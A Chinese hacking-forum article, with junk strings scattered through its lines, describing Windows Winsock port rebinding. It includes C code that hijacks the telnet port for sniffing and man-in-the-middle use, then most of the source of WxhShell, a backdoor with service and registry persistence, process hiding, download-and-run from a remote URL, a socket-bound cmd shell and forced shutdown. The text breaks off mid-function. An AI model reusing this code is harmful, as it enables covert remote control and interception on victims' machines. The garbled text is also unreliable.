在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^IGTGY]s s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<>JDA(F" (t9qwSS8z saddr.sin_family = AF_INET;
=P+S]<O vAJfMUlP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#1zWzt|DW _+8$=k2nM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}#
-N7=h J 6S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I#Tl Hf
%;FaJ= 这意味着什么?意味着可以进行如下的攻击:
r`cCHZo/V b@f.Kd7I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
cuR|cUK &T}v1c7) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U<r<$K &fj&UBA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&K^h'>t' kkrQ;i)Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_ }!Q4K |l ~BdP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$}k"wI[ AX1'.
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7Hpsmfm ){>;eky 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@ z#k~ SAG)vmm #include
#IBBaxOk #include
?V[yw=sl04 #include
9~,eu #include
oUw-l_ M] DWORD WINAPI ClientThread(LPVOID lpParam);
l:HO|Mq int main()
|<ke>j/6n {
W{;!JI7;z WORD wVersionRequested;
r+0)l:{. DWORD ret;
HXdPKS4q WSADATA wsaData;
O|j5ulO}&" BOOL val;
8XJ%Yuu SOCKADDR_IN saddr;
^[%~cG SOCKADDR_IN scaddr;
J7QlGm,= int err;
e`$v\7K SOCKET s;
3<+l.Wly SOCKET sc;
l}(~q!r int caddsize;
V6$v@Zq HANDLE mt;
6g$04C3tHi DWORD tid;
~*B1}#; wVersionRequested = MAKEWORD( 2, 2 );
z7P PwTBa err = WSAStartup( wVersionRequested, &wsaData );
<tF]>(|M if ( err != 0 ) {
T"d]QYJS printf("error!WSAStartup failed!\n");
il-&d]AP return -1;
5Ll[vBW }
LwGcy1F. saddr.sin_family = AF_INET;
dIO\ lL
}UGPEf\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
J*U(f{Q( 74Q?%X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
g>im2AD+e saddr.sin_port = htons(23);
o3WkbMJWM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z^fF^3x {
~hvhT}lE printf("error!socket failed!\n");
:za!!^ return -1;
{J0^S }
!)9zH val = TRUE;
L8j,?u#
//SO_REUSEADDR选项就是可以实现端口重绑定的
sa#"@j) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NOS5bm&- {
c~RIl5j printf("error!setsockopt failed!\n");
>M1/m=a return -1;
II<<-Y6 }
*q0N$}k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ldX]A#d. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J)fS2Ni+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Jx>P%>+<j <m(nZ'Zqz2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;JmD(T7{ {
huTJ
a2 ret=GetLastError();
MJg^
QVM printf("error!bind failed!\n");
E>g'! return -1;
ixS78KIr }
D!mhR?t listen(s,2);
{9l4 pT3 while(1)
`\Npu {
|M
K-~ep caddsize = sizeof(scaddr);
)@Zel.XD //接受连接请求
"7<4NV@yQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
lpp'.HTP if(sc!=INVALID_SOCKET)
,DE%p
+q {
So8P8TCK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
UJm`GO if(mt==NULL)
sJ?kp^!g {
g]ihwm~ printf("Thread Creat Failed!\n");
gEe}xI break;
~0}eNz* }
'qM3.U }
q(r2\ CloseHandle(mt);
p5H Mg\hT }
*"4<&F
S closesocket(s);
FCe503qND$ WSACleanup();
x9ws@=[: return 0;
0?:ZER v }
]t=># DWORD WINAPI ClientThread(LPVOID lpParam)
Fu`g)#Z {
=_1" d$S& SOCKET ss = (SOCKET)lpParam;
16+@#d%#p SOCKET sc;
7uDUZdJy unsigned char buf[4096];
/.?\P#9) SOCKADDR_IN saddr;
foFn`?LF long num;
aH$~':[93 DWORD val;
wd]Yjr#%Ii DWORD ret;
soohyK8 //如果是隐藏端口应用的话,可以在此处加一些判断
<7&b|f$CL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k@Tt,.]; saddr.sin_family = AF_INET;
cnc$^[c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H{XW?O^@ saddr.sin_port = htons(23);
@<PL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4Oy
c D {
_YJw F1e+M printf("error!socket failed!\n");
vLke,MKW return -1;
fU}w81oe }
kp$ILZ val = 100;
#X8[g _d/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TXa XJIp {
P:=ADW c ret = GetLastError();
B';Ob return -1;
]@P*&FRcZ }
%q Q(@TG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4mAtYm {
%G@aZWk
Sa ret = GetLastError();
_SaK]7}m! return -1;
a9I8WQ }
{k*_'0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qa~[fORO[ {
CL*%06QyE printf("error!socket connect failed!\n");
'!I?C/49k closesocket(sc);
mOB\ `&h5 closesocket(ss);
:1=?/8h return -1;
_"bx#B* }
3u^TJt) while(1)
(wfg84 {
}';&0p2Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-^5R51 //如果是嗅探内容的话,可以再此处进行内容分析和记录
>guQY I@4, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
uM}O8N num = recv(ss,buf,4096,0);
H6O\U2+ if(num>0)
g)9/z send(sc,buf,num,0);
-0`hJ_( else if(num==0)
n`,Q: break;
O>GP>U?] num = recv(sc,buf,4096,0);
Rv-o__C! if(num>0)
w}0Qy send(ss,buf,num,0);
q{hq. KZ else if(num==0)
Cg
Sdyg@ break;
J]0#M:w& }
0- UeFy closesocket(ss);
{P-PH$ E- closesocket(sc);
a)1,/:7' return 0 ;
b {5|2&= }
r2th6hl~ Lk9>7xY IO#W#wW$M ==========================================================
[UH5D~Yx ,lnuu 下边附上一个代码,,WXhSHELL
yFt7fdl2 o^?{j*)g ==========================================================
WI6E3,ejB1 K*9b `% #include "stdafx.h"
=;H'~
%\cC]<> #include <stdio.h>
@nP}q!y #include <string.h>
{Y[D!W2y #include <windows.h>
DVJc-.x8 #include <winsock2.h>
VO Qt{v{1| #include <winsvc.h>
deoM~r9s #include <urlmon.h>
$D5U# I[UA' ~f #pragma comment (lib, "Ws2_32.lib")
k)p y\ #pragma comment (lib, "urlmon.lib")
`<zb .;b>
T #define MAX_USER 100 // 最大客户端连接数
.6NSt #define BUF_SOCK 200 // sock buffer
hYn'uL^~[ #define KEY_BUFF 255 // 输入 buffer
6bNW1]rD ^wa9zs2s;/ #define REBOOT 0 // 重启
<k](s #define SHUTDOWN 1 // 关机
~ ""MeaM8[ q4i8Sp> #define DEF_PORT 5000 // 监听端口
j6vZ{Fx;w {1aAm+ #define REG_LEN 16 // 注册表键长度
#!jRY!2Vt #define SVC_LEN 80 // NT服务名长度
>!1 f` Rda1X~-g // 从dll定义API
e<4z) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fWyDWU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:dN35Y] a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/8}+#h)[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ye2];(M V(u2{4gZ // wxhshell配置信息
>k}/$R+ struct WSCFG {
Y:%)cUxA int ws_port; // 监听端口
K eI:/2 char ws_passstr[REG_LEN]; // 口令
CLEG'bZa, int ws_autoins; // 安装标记, 1=yes 0=no
e:LZ s0 char ws_regname[REG_LEN]; // 注册表键名
dyzwJ70K char ws_svcname[REG_LEN]; // 服务名
}+
2"?f|] char ws_svcdisp[SVC_LEN]; // 服务显示名
(QSWb>np char ws_svcdesc[SVC_LEN]; // 服务描述信息
?d<:V.1U@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GB?#1|, int ws_downexe; // 下载执行标记, 1=yes 0=no
w3qf7{b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rA,Y_1b * char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d7J[.^\ @>2rz };
V6MT> T 82za4u$q# // default Wxhshell configuration
3:joSQa struct WSCFG wscfg={DEF_PORT,
)8 :RiG2B "xuhuanlingzhe",
xH_ie 1,
u)`|q_y+8 "Wxhshell",
N!B Oq`#da "Wxhshell",
:ECK
$Cu "WxhShell Service",
Q
*]`t@q "Wrsky Windows CmdShell Service",
s}#[*WOc "Please Input Your Password: ",
IS2Ij 1,
s~Wu0%])Q "
http://www.wrsky.com/wxhshell.exe",
o:8S$F`O@ "Wxhshell.exe"
xdfvme[ };
X/-KkC Cw[Od"B\?U // 消息定义模块
#A/J^Ko char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tH,K\v`f char *msg_ws_prompt="\n\r? for help\n\r#>";
(1SO;8k\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_8li4;F char *msg_ws_ext="\n\rExit.";
Mc7 <[a char *msg_ws_end="\n\rQuit.";
|M<.O~|D6} char *msg_ws_boot="\n\rReboot...";
*{dD'9Bg char *msg_ws_poff="\n\rShutdown...";
[gkRXP[DGs char *msg_ws_down="\n\rSave to ";
ru/zLj: I^O:5x>[l char *msg_ws_err="\n\rErr!";
"1!.^<V* char *msg_ws_ok="\n\rOK!";
Da8$Is;n @@/'b' char ExeFile[MAX_PATH];
J)8pqa int nUser = 0;
Ag#5.,B- HANDLE handles[MAX_USER];
/-{O\7-D int OsIsNt;
N(-%"#M$ 'RV\}gqZ SERVICE_STATUS serviceStatus;
qa$[L@h> SERVICE_STATUS_HANDLE hServiceStatusHandle;
nUud?F^_ jaO#><f // 函数声明
B#GZmv1 int Install(void);
!qXq
y}?w int Uninstall(void);
GQ-e$D@SfB int DownloadFile(char *sURL, SOCKET wsh);
0|s$vqc int Boot(int flag);
udEb/7ZL void HideProc(void);
Fm$n@RbX int GetOsVer(void);
L2>?m`wp int Wxhshell(SOCKET wsl);
VIz{}_~'s void TalkWithClient(void *cs);
*T>#zR{ int CmdShell(SOCKET sock);
;8L+_YCa int StartFromService(void);
bOxjm`B< int StartWxhshell(LPSTR lpCmdLine);
W_BAb+$aF (#-=y~% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/[|}rqX( VOID WINAPI NTServiceHandler( DWORD fdwControl );
}`9fZK{. @ 1Fvv/Tj // 数据结构和表定义
or!D SERVICE_TABLE_ENTRY DispatchTable[] =
Nx4DC {
c;21i;&,9 {wscfg.ws_svcname, NTServiceMain},
`!,\kc1 {NULL, NULL}
v[,v{5b };
>^T,U0T]) tLXn?aNY // 自我安装
F@_Egi int Install(void)
S0.- >"L {
1RI #kti-" char svExeFile[MAX_PATH];
/md Q(Dm HKEY key;
K^,&ub.L) strcpy(svExeFile,ExeFile);
cu479VzPx: Ql#W
/x,e // 如果是win9x系统,修改注册表设为自启动
Pzk[^z$C if(!OsIsNt) {
MOp=9d+N~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(Y'UvZlM%P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\2gvp6 RegCloseKey(key);
E2q B: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z6FbM^;; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pa+AF RegCloseKey(key);
"]SJbuzh return 0;
mq{$9@3 }
)WP]{ W)r }
>uyeI&z }
c69U1 else {
s=q%:uCO sxN>+v11z // 如果是NT以上系统,安装为系统服务
l${Hgn+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
EbBv}9g if (schSCManager!=0)
xS
H6n {
,<Grd5em. SC_HANDLE schService = CreateService
pu2 wEQ (
,);=
(r9 schSCManager,
u-%r~ } wscfg.ws_svcname,
Qe @A5# wscfg.ws_svcdisp,
>tmnj/=& SERVICE_ALL_ACCESS,
S<y>Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
F;d%@E_Bc SERVICE_AUTO_START,
.`p<hA)%[C SERVICE_ERROR_NORMAL,
CzzUi]*Ac{ svExeFile,
7zJrT5 NULL,
F,L82N6\U NULL,
;Xfd1 NULL,
xI`Uk8- 8 NULL,
rnMG0 NULL
%S
>xSqX );
_ bXVg3oDt if (schService!=0)
,yHzo {
pjX%LsX\ CloseServiceHandle(schService);
(6ohrM>Q CloseServiceHandle(schSCManager);
vk4C_8m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7GBZA=J strcat(svExeFile,wscfg.ws_svcname);
d5w_[=9U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A=v lC?&Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j{Yt70Wv RegCloseKey(key);
jpYw#]Q return 0;
f H#F"^A }
<?>I\ }
ny!lja5[ CloseServiceHandle(schSCManager);
SQdzEF }
dDv{9D, }
B&%L`v2[ RQj`9F return 1;
xVsa,EX b }
" ;-{~ */%$6s~ // 自我卸载
~4MtDf int Uninstall(void)
V!pq,!C$v {
gD,YQ%aq HKEY key;
v F.?] u Vr&el if(!OsIsNt) {
I<D&,LFH*w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vpeq:h RegDeleteValue(key,wscfg.ws_regname);
vKU]80T RegCloseKey(key);
S 0R8'Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g^s+C Z RegDeleteValue(key,wscfg.ws_regname);
wq:b j=j RegCloseKey(key);
7.7Cluh5, return 0;
['51FulDR }
$?]@_= }
F9m 2C'U }
Ur_S
[I else {
ql!5m\ p/ziFpU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ek"YM[ if (schSCManager!=0)
\S=XIf {
|uQn|"U4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
iN:G/ss4O if (schService!=0)
' +)6#/* {
o
:.~X if(DeleteService(schService)!=0) {
kdK*MUB CloseServiceHandle(schService);
FX7Cjo#=R CloseServiceHandle(schSCManager);
S_(&UeTC return 0;
|Q5H9<* }
k9*J*7l-m CloseServiceHandle(schService);
ax-=n ( }
4'+d"Ok CloseServiceHandle(schSCManager);
T4V[RN
}
96.IuwL*.s }
4 "pS C$]5l;` return 1;
U-Af7qO }
#t"9TP vqrBRlZ // 从指定url下载文件
~fyF&+ibp' int DownloadFile(char *sURL, SOCKET wsh)
#@nZ4=/z {
Mq+viU&
HRESULT hr;
C!$Xv&"r char seps[]= "/";
S[-.tvI;Q char *token;
]sX7%3P char *file;
&M0o&C-1/ char myURL[MAX_PATH];
pd=7^"[}; char myFILE[MAX_PATH];
N; rXl8 b*lKT]D, strcpy(myURL,sURL);
'4af
], token=strtok(myURL,seps);
}U2[? while(token!=NULL)
B*9 {
aj&\CJ file=token;
@;||peU token=strtok(NULL,seps);
1k!D0f3qb }
D"`%|`O {@Blj3 ;w} GetCurrentDirectory(MAX_PATH,myFILE);
X }m7@r@ strcat(myFILE, "\\");
'9^E8+=| strcat(myFILE, file);
}R`8h&J send(wsh,myFILE,strlen(myFILE),0);
'jh2**i 34 send(wsh,"...",3,0);
zSEr4^Dk4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8lMZ if(hr==S_OK)
EwTS!gL return 0;
b2a'KczV else
9U!JK3d return 1;
~&lQNl3`m6 V^j3y`K }
eA`]KalH u=(H#o<# // 系统电源模块
t@X M /=d int Boot(int flag)
iYkRo>3!QX {
"EJ\]S]$X HANDLE hToken;
OZ eiHX! TOKEN_PRIVILEGES tkp;
'*8 Xyb8u})p' if(OsIsNt) {
K3La9O)> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+nU' ,E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Xfj)gPt} tkp.PrivilegeCount = 1;
kBrvl^D{5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`2pO5B50 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jeY4yM if(flag==REBOOT) {
FL59 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
l#b:^3 return 0;
4+)Zk$E }
72`/d` else {
ymHKcQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bAUHUPe return 0;
oz Vpfs }
*^n^nnCwp }
:RPVT,O} else {
ZmNZS0j if(flag==REBOOT) {
4"LPJX)Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
baqn7k" return 0;
7^HpVcSM }
rZ pbu>S else {
C=8H)Ef,l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
sc<kiL return 0;
A8J?A#R*{q }
',DeP>'%> }
o\d |CE;> RvWFF^, . return 1;
n:F@gZd` }
VIetcs t/ A:k // win9x进程隐藏模块
Pv#KmSA9 void HideProc(void)
6s'[{Ov {
VZ;@S3TS M\I_{Q?_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=+`D if ( hKernel != NULL )
*<w3" iq {
o.v2z~V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/({P1ti:C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dZF8R FreeLibrary(hKernel);
'HCnB]1 }
^<!Ia #&k8TY return;
gEE9/\>%- }
,dOMW+{ u]R$]&< // 获取操作系统版本
T{ok +$w2 int GetOsVer(void)
av$ {
t`uc3ta"9 OSVERSIONINFO winfo;
wtq,`'B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}lH;[+u3 GetVersionEx(&winfo);
c$/<l5Uw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{JTmP `&l return 1;
CDJ$hu else
Il|GCj*N return 0;
^[0"vtb }
8*vFdoE_oO li@kLh // 客户端句柄模块
Urn int Wxhshell(SOCKET wsl)
t~q?lT {
)TM!ms+K SOCKET wsh;
%U-Qsy8|D) struct sockaddr_in client;
$]Jf0_ DWORD myID;
5|5=Y/ ad9EG#mD# while(nUser<MAX_USER)
!f@XDW&R {
Trpgx int nSize=sizeof(client);
)x)gHY8; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%
^e@`0L if(wsh==INVALID_SOCKET) return 1;
3<+z46`? a`s/ qi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=ydpU<aS if(handles[nUser]==0)
8'+7i8e closesocket(wsh);
&h\7^=s. else
_OLI%o nUser++;
yk`)Cq%=; }
3\]~!;dI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Y^yG/F |ebvx?\ return 0;
9Kx<\)-GMD }
*G\=i
A >C:If0S4X // 关闭 socket
EPv%LX_j void CloseIt(SOCKET wsh)
b1H7 {
URLk9PI closesocket(wsh);
x+K gc[r nUser--;
UP R/XQ ExitThread(0);
%iX/y }
h>| g2h N70zjy4?fL // 客户端请求句柄
n? }5! void TalkWithClient(void *cs)
jK e.gA {
_%;M9Sg3 ,b4g.CV SOCKET wsh=(SOCKET)cs;
v:?o3
S char pwd[SVC_LEN];
9Eu #lV char cmd[KEY_BUFF];
sLZ>v char chr[1];
6A.P6DW int i,j;
{79qtq%W{ *O5: while (nUser < MAX_USER) {
l!/!?^8|f (m/aV if(wscfg.ws_passstr) {
4
]sCr+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&/iFnYVhy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>2u y //ZeroMemory(pwd,KEY_BUFF);
lf6|. i=0;
YQ+^ while(i<SVC_LEN) {
loBtd%wY TH YVT%v // 设置超时
@"w2R$o fd_set FdRead;
m!0N"AjA struct timeval TimeOut;
ex!XB$X FD_ZERO(&FdRead);
xb]odYGdW FD_SET(wsh,&FdRead);
V!W1fb7V TimeOut.tv_sec=8;
IKo;9|2U TimeOut.tv_usec=0;
LfHzT<)| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J$rJd9t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
W~<m[#:6C R2CQXhiJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\@8*T S pwd
=chr[0]; &u=8r*
if(chr[0]==0xd || chr[0]==0xa) { rpSr^slr
pwd=0; /7x\;&bc
break; HgaZbb>'
} ^j [Ku
i++; X5 j=C]
} ifvU"l
LJj=]_
// 如果是非法用户,关闭 socket x^X$M$o,l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mbGcDG[HQ
} *Wso3 6an
p&\K9hfi
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XddHP;x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K0oFPDJN
qF'~F`6
while(1) { 4~*Y];!Q
cLAesj
ZeroMemory(cmd,KEY_BUFF); @0D![oA
TW2Z=ks=
// 自动支持客户端 telnet标准 x2@,9OUx
j=0; $
o"
L;j
while(j<KEY_BUFF) { SHwRX?
B|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yjFe'
cmd[j]=chr[0]; r^Y~mq
if(chr[0]==0xa || chr[0]==0xd) { O k*Z
cmd[j]=0; >T QZk4$
break; {\L|s5=yr
} @C=M
UT-!
j++; #52NsVaT@
} eG4>d^`c
rFfy#e
// 下载文件 D'nL
if(strstr(cmd,"http://")) { ?&xlT+JM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); K#wK1 Sv
if(DownloadFile(cmd,wsh)) 5j`v`[B;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yg&`
U^7]B
else rnH}#u+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$DldHC
} 6g~+( ({lQ
else { D^|7#b,zcH
G5;V.#"Z[
switch(cmd[0]) { Dkw*Je#6PX
Z\' wm'
// 帮助 PtqGX=u
case '?': { 8 URj1 W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :!']p2B
break; :~D];m
} U!0E_J
// 安装 hbfsHT
case 'i': { p-Pz=Cx-
if(Install()) :3 y_mf>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cQn)^jx=
else [@|be.g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {xToz]YA
break; Ye@t_,)x
} n,sY\=vB
// 卸载 `m, Ki69.
case 'r': { N+J>7_k
if(Uninstall()) HCazwX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ul=7>";=|
else ;s}3e#$L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7k~Lttuk
break; ]F+K|X9-
} 1`QsW&9=b
// 显示 wxhshell 所在路径 lQL:3U0DjU
case 'p': { tr=@+WHp
char svExeFile[MAX_PATH]; gz4UV/qr/
strcpy(svExeFile,"\n\r"); a_{6Qdl
strcat(svExeFile,ExeFile); s:b"\7
send(wsh,svExeFile,strlen(svExeFile),0); c3#q0Ma
break; Vo >Xp
} ="3,}qR
// 重启 Uouq>N
case 'b': { wS%zWdsz
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 02pplDFsM
if(Boot(REBOOT)) hfv%,,e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /WYh[XKe
else { dhtb?n{
closesocket(wsh); OpQ8\[X+
ExitThread(0); KuXkI;63J>
} ,E9d\+j
break; anC+r(jjg9
} eO[c l B
// 关机 o|rzN\WJn
case 'd': { !M^\f
N1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !DcX8~~@
if(Boot(SHUTDOWN)) +$,dwyI2t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >|nt2
else { V.2[ F|P;3
closesocket(wsh); tl^m=(ZQ
ExitThread(0); .Q[yD<)Ubs
} )5G QJiY
break; 1.0J2nZpt
} x5F@ad9
// 获取shell Vhph`[dC{
case 's': { aS/`A
CmdShell(wsh); mp:m`sh*i
closesocket(wsh); L;yEz[#xaT
ExitThread(0); uA%Ts*aN
break; &O*ENpF
} ]! )xr
// 退出 "i%jQL'.
case 'x': { LS6ry,D"7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8t[t{"
CloseIt(wsh); d.cCbr:
break; C0<YH "
} enumK\
// 离开 |^iA6)Q
case 'q': { y\z > /q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6#|qg*OS
closesocket(wsh); >qpqQ;
bm
WSACleanup(); DxfMqH[vs
exit(1); ls @5^g
break; Ay%:@j(E
} wv^b_DR
}
Q;20T
} +'%\Pr(
afUTAP@
// 提示信息 (Fqa][0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }#
Xi`<{
} S_5?U2%D
} (yGQa5v
Hg whe=P
return; jb3.W
} u`6/I#q`
i6 L
// shell模块句柄 F`srE6H
int CmdShell(SOCKET sock) EneAX&SG
{ q,@+^aZ
STARTUPINFO si; @\PpA9ebg%
ZeroMemory(&si,sizeof(si));
qpTm
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W_m!@T"@H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U`1l8'W}:#
PROCESS_INFORMATION ProcessInfo; 4+Ti7p06&\
char cmdline[]="cmd"; blp=Hk
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BKZ v9
return 0; ,R~eY?{a
} .YC;zn^
VA2<r(y~(
// 自身启动模式 ?Pnx~m{%*
int StartFromService(void) QnU0"_-
{ r--;yEjWE
typedef struct pYh!]0n
{
f`J|>Vk
DWORD ExitStatus; g}r^Xzd;
DWORD PebBaseAddress; Snx<